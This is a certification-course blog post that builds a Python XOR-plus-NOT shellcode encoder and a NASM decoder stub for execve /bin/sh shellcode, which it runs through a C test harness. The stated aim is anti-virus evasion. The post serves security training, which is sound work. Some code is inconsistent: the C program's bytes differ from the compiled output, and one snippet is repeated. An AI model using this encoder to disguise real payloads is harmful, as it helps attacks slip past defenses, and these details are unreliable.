Creating Custom Encoder And Decoder

4 minute read

The fourth assignment was to create a custom encoder, which I decided to create an encoder using Python and the decoder in Nasm. An encoder helps obfuscate payloads/shellcode and assists in evading anti-virus protection on target endpoints.

In order to satisfy this assignment, I decided to make my shellcode not only encoded with XOR, but also perfom a NOT operation as well, shifting every XOR‘d byte to it’s complement.

I created a python script in order to take some shellcode (the shellcode created within the SLAE labs that calls execve syscall and executes /bin/sh). I will show the python script and then explain what it does in detail.

#!/usr/bin/python3
from termcolor import colored

# objdump output for the execve-stack binary that executes /bin//sh

shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")


# Set up some named variables

shellcode_encode = ""

x86_encode = ""

# For loop to do the actual obfuscation

for i in bytearray(shellcode):


	# XOR the shifted value with 0xAA
	xor = i^0xAA

	# Perform NOT operation on XOR value
	complement = ~xor

	# Start the shellcode output bytes with "\x"
	shellcode_encode += "\\x"

	# Create hex format
	shellcode_encode += "%02x" % (complement & 0xff)

	# Create format for nasm file
	x86_encode += "0x"

	x86_encode += "%02x," % (complement & 0xff)


# Print results

print(colored("[+]", 'green')+" Your encoded shellcode sir: \n\n" + colored(shellcode_encode+ "\n", 'green', attrs=['bold']))
print(colored("[+]", 'green')+" Your encoded shellcode for you nasm file: \n\n" + colored(x86_encode + "\n", 'green', attrs=['bold']))
print(colored("[+]", 'green')+ " The shellcode length for your information: %d" % len(bytearray(shellcode)))

So reading through the comments, one can deduce what this script is doing. It first takes the shellcode that is obtained on the execve-stack binary created during the SLAE exercise and puts it into a variable. It then XOR’s every byte within this shellcode, and the performs a NOT operation on the result. It then formats and prints the resulting obfuscated shellcode for both a C program and for a Nasm program.

Using the encoded shellcode

So using the output as seen below:

As you can see, it displays the formated shellcode for us to use within our nasm file. I will now show the decoder shellcode that will take the encoded shellcode printed from the python script, and then decode it into usable shellcode.

global _start


section .text

_start:

	jmp short call_decoder 		; Start of JMP CALL POP




decoder_start:

	pop esi 	; Taking the top of the stack (shellcode) and putting it into ESI


decoder:

	cmp byte [esi], 0xaa		; Using 0xaa as an indicator we hit the end of shellcode
	jz shellcode			; If we hit the end, execute shellcode
	not byte [esi]			; Do NOT operation (starting with last encoding first)
	xor byte [esi], 0xAA		; XOR ESI with 0xAA 
	inc esi				; Go byte by byte through ESI
	jmp short decoder		; Loop back through this function to run decoder on every byte
	

call_decoder:

	call decoder_start	; CALL next function, loading shellcode onto top of stack

	shellcode: db 0x64,0x95,0x05,0x3d,0x7a,0x7a,0x26,0x3d,0x3d,0x7a,0x37,0x3c,0x3b,0xdc,0xb6,0x05,0xdc,0xb7,0x06,0xdc,0xb4,0xe5,0x5e,0x98,0xd5,0xaa

Let’s go through this decoder line by line.

Decoder Shellcode

To get the encoder started, we will utilize a technique called JMP CALL POP. This reduces the total shellcode size, by doing a short jmp to a funciton that does a call to another function, thereby loading shellcode into the stack.

jmp short call_decoder          ; Start of JMP CALL POP
call_decoder:

        call decoder_start      ; CALL next function, loading shellcode onto top of stack

        shellcode: db 0x64,0x95,0x05,0x3d,0x7a,0x7a,0x26,0x3d,0x3d,0x7a,0x37,0x3c,0x3b,0xdc,0xb6,0x05,0xdc,0xb7,0x06,0xdc,0xb4,0xe5,0x5e,0x98,0xd5,0xaa

After the the call instruction is used and the shellcode is loaded onto the stack, the decoder then puts the top of the stack (the shellcode) into the ESI variable, as seen below.

decoder_start:

        pop esi         ; Taking the top of the stack (shellcode) and putting it into ESI

If you look closely, at the end of the shellcode, there is a value of 0xaa. This value was appended to the shellcode in order to help with checking for the end of the shellcode while looping through each byte of it. Once it hits this arbitrary value, we will make the loop stop with the following code:

decoder:

        cmp byte [esi], 0xaa            ; Using 0xaa as an indicator we hit the end of shellcode
        jz shellcode                    ; If we hit the end, execute shellcode

If the decoder hasn’t reached the end of the shellcode, it will continue to the next instruction. The next series of instructions start the actual decoding process, in reverse order they were encoded. This is because the way that the x86 stack works, where it stacks from top to bottom (reverse order). Let see the decoding instructions below:

decoder:

        cmp byte [esi], 0xaa            ; Using 0xaa as an indicator we hit the end of shellcode
        jz shellcode                    ; If we hit the end, execute shellcode

Compiling and Running Shellcode

Now that we have our decoder set up with the encoded shellcode, we can compile it and grab the objdump output from it.

anubis@ubuntu:~/SLAE/Assignment_4$ ./compile.sh decode
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
anubis@ubuntu:~/SLAE/Assignment_4$ obj decode
"\xeb\x0e\x5e\x80\x3e\xaa\x74\x0d\xf6\x16\x80\x36\xaa\x46\xeb\xf3\xe8\xed\xff\xff\xff\x64\x95\x05\x3d\x7a\x7a\x26\x3d\x3d\x7a\x37\x3c\x3b\xdc\xb6\x05\xdc\xb7\x06\xdc\xb4\xe5\x5e\x98\xd5\xaa"
anubis@ubuntu:~/SLAE/Assignment_4$

We can now add this ouptput in the shellcode C program that has been provided to us by the SLAE training material.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x12\x5e\x80\x3e\xaa\x74\x11\xf6\x16\x80\x36\xaa\xb0\x50\x2a\x06\x46\xeb\xef\xe8\xe9\xff\xff\xff\x64\x95\x05\x3d\x7a\x7a\x26\x3d\x3d\x7a\x37\x3c\x3b\xdc\xb6\x05\xdc\xb7\x06\xdc\xb4\xe5\x5e\x98\xd5\xaa";
main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

Now we compile this program like we have with other assignments and run the executable.

anubis@ubuntu:~/SLAE/Assignment_4$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
shellcode.c:6:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main()
 ^
anubis@ubuntu:~/SLAE/Assignment_4$ ./shellcode
Shellcode Length:  51
$ pwd
/home/anubis/SLAE/Assignment_4
$ whoami
anubis
$ exit
anubis@ubuntu:~/SLAE/Assignment_4$ 

And that is our successful decoder! Thank you for reading, and coming up next will be Assignment 5.


This blog post was created as per the requirements of the Security Tube Linux Assembly Expert certification.

Student ID: SLAE-1406

Please see https://github.com/AnubisSec/SLAE for all the source files mentioned on this site.

Updated: